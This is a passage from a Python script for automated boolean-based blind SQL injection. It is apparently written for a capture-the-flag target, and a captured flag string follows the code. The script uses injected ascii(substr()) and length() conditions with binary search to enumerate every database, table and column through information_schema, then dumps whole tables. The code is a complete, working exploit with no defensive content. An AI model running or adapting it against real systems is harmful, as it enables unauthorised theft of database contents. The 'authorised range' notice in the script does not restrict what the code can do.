timeout=TIMEOUT)try:return resp.json()except Exception:return resp.text except requests.exceptions.RequestException as e: last_exc = e if DEBUG:print(f"[WARN] 请求异常:{e} (尝试 {attempt+1}/{RETRIES+1})") time.sleep(1)if DEBUG:print("[ERROR] 所有重试失败:", last_exc)returnNonedefis_true_response(resp):if resp isNone:returnFalseifisinstance(resp,dict): status =str(resp.get("status","")).lower() message =str(resp.get("message","")).lower()if status =="ok"and"found"in message:returnTrueif status =="error"and"not found"in message:returnFalse txt =str(resp)if"Found"in txt:returnTrueif"Not Found"in txt:returnFalseif DEBUG:print("[DBG] 未能解析响应:", txt[:400].replace("\n","\\n"))returnFalsedefcheck_condition(cond): resp = send_payload_raw(cond)return is_true_response(resp)# ----------------- 爆破函数 -----------------defbinary_search_length(expr, max_upper=16384):if DEBUG:print(f"[DBG] binary_search_length expr={expr} max_upper={max_upper}") low =0 high = max_upper while low < high: mid =(low + high)//2 cond =f"length(({expr}))>{mid}"if DEBUG:print(f"[DBG] length check: {cond}")if check_condition(cond): low = mid +1else: high = mid time.sleep(SLEEP) length = low if DEBUG:print(f"[DBG] length -> {length}")return length defextract_string_by_binary(expr, max_len=20000):if DEBUG:print(f"[DBG] extract_string_by_binary expr={expr} max_len={max_len}") result =""for pos inrange(1, max_len +1): null_cond =f"ascii(substr(({expr}),{pos},1))=0"if check_condition(null_cond):if DEBUG:print(f"[DBG] pos {pos} is NULL -> stop")break low =32 high =126while low <= high: mid =(low + high)//2 cond =f"ascii(substr(({expr}),{pos},1))>{mid}"if check_condition(cond): low = mid +1else: high = mid -1 time.sleep(SLEEP) ascii_val = low if ascii_val <32or ascii_val >126:if DEBUG:print(f"[DBG] pos {pos} ascii out of range: {ascii_val} -> stop")break ch =chr(ascii_val) result += ch sys.stdout.write(f"\r[+] pos={pos} -> '{ch}' current_len={len(result)}") sys.stdout.flush()print(f"\n[+] 提取完成: len={len(result)}")return result # ----------------- 列表化辅助函数 -----------------defextract_group_concat_list(expr, max_len_guess=16384, sep=':'): length = binary_search_length(expr, max_len_guess)if length ==0:return[] s = extract_string_by_binary(expr, length) items =[x for x in s.split(sep)if x !='']return items # ----------------- 枚举与导出函数 -----------------deflist_all_databases(): expr ="select(group_concat(concat(schema_name,0x3a)))from(information_schema.schemata)"return extract_group_concat_list(expr, max_len_guess=4096, sep=':')deflist_tables_for_schema(schema_name): expr =f"select(group_concat(concat(table_name,0x3a)))from(information_schema.tables)where(table_schema)='{schema_name}'"return extract_group_concat_list(expr, max_len_guess=8192, sep=':')deflist_columns_for_table(schema_name, table_name): expr =f"select(group_concat(concat(column_name,0x3a)))from(information_schema.columns)where(table_schema)='{schema_name}'and(table_name)='{table_name}'"return extract_group_concat_list(expr, max_len_guess=8192, sep=':')defdump_table_data(schema_name, table_name, columns=None, max_len_guess=20000):""" 尝试导出指定表的所有行,默认将所有列按 ':' 连接,整表按 ',' 连接。 返回导出的原始拼接字符串(如果成功),以及解析成的行列表。 注:若表非常大或 group_concat 有长度限制,可能失败或被截断。 """if columns isNone: cols = list_columns_for_table(schema_name, table_name)ifnot cols:if DEBUG:print(f"[WARN] 无法获取 {schema_name}.{table_name} 的列信息")return"",[]else: cols = columns # 构造 concat(col1,0x3a,col2,0x3a,...) concat_parts =[]for i, c inenumerate(cols): concat_parts.append(c)if i !=len(cols)-1: concat_parts.append("0x3a") inner =",".join(concat_parts)# group_concat(concat(...)) from schema.table expr =f"select(group_concat(concat({inner})))from({schema_name}.{table_name})" length = binary_search_length(expr, max_len_guess)if length ==0:return"",[] s = extract_string_by_binary(expr, length)# 尝试把整个拼接字符串按 0x3a 分列,然后按行拆分(注意:无法区分列间的逗号导致的歧义,假定列值不含 ':') rows =[]if s:# group_concat 将所有行连成一个长字符串,用 ',' 分隔行(如果默认分隔符为 ','),但为了稳妥,先按 ',' 尝试# 如果你在 DB 中设置了不同的 SEPARATOR(例如 0x2c),需要调整此处。 rows =[r for r in s.split(',')if r !='']return s, rows # ----------------- CLI 与示例 -----------------defparse_args(): p = argparse.ArgumentParser(description="无空格括号风格 布尔盲注 导出 Flag DB 脚本(用于授权靶场/本地CTF)") p.add_argument("--url",help="目标 URL(覆盖脚本内配置)", default=None) p.add_argument("--schema",help="目标 schema 名(默认为 Flag)", default="Flag") p.add_argument("--only-db",help="只列出数据库,不继续枚举表/列", action="store_true") p.add_argument("--debug",help="开启调试", action="store_true")return p.parse_args()defmain():global URL, DEBUG args = parse_args()if args.url: URL = args.url if args.debug: DEBUG =Trueprint("[*] 注意:请确认你对目标有授权(用户已确认为自己的靶场)")print("[*] 目标 URL:", URL)print("\n[*] Step 1: 枚举所有 database()(schema)") dbs = list_all_databases()ifnot dbs:print("[WARN] 未能获取到任何 database,请检查目标或增加 max_len_guess")returnprint(f"[+] 共发现 {len(dbs)} 个 schema:")for i, db inenumerate(dbs,1):print(f" [{i}] {db}")if args.only_db:return target_schema = args.schema print(f"\n[*] Step 2: 以 schema='{target_schema}' 作为目标,枚举表与列并尝试导出数据") tables = list_tables_for_schema(target_schema)ifnot tables:print(f"[WARN] 在 schema '{target_schema}' 下未发现表或无权限")returnprint(f"[+] 在 schema '{target_schema}' 下发现 {len(tables)} 张表:")for t in tables:print(f"\n[>] 表: {t}") cols = list_columns_for_table(target_schema, t)ifnot cols:print(" [WARN] 无法枚举列 或 表为空")continueprint(f" [*] 列 ({len(cols)}): {', '.join(cols)}")print(" [*] 尝试导出整表数据(可能被截断或受长度限制)...") raw, rows = dump_table_data(target_schema, t, columns=cols)ifnot raw:print(" [WARN] 导出失败或为空")continue# 打印前几行以便快速查看(若太多则只看前 20) max_preview =20print(f" [*] 导出总长度: {len(raw)} 字符,预览前 {min(len(rows), max_preview)} 行:")for i, r inenumerate(rows[:max_preview],1):print(f" ({i}) {r}")iflen(rows)> max_preview:print(f" ... (共 {len(rows)} 行,已省略)")print('\n[+] 导出尝试完成')if __name__ =="__main__": main()
flag{b2f00fa9-8d65-45ac-9193-8a852c4910fb}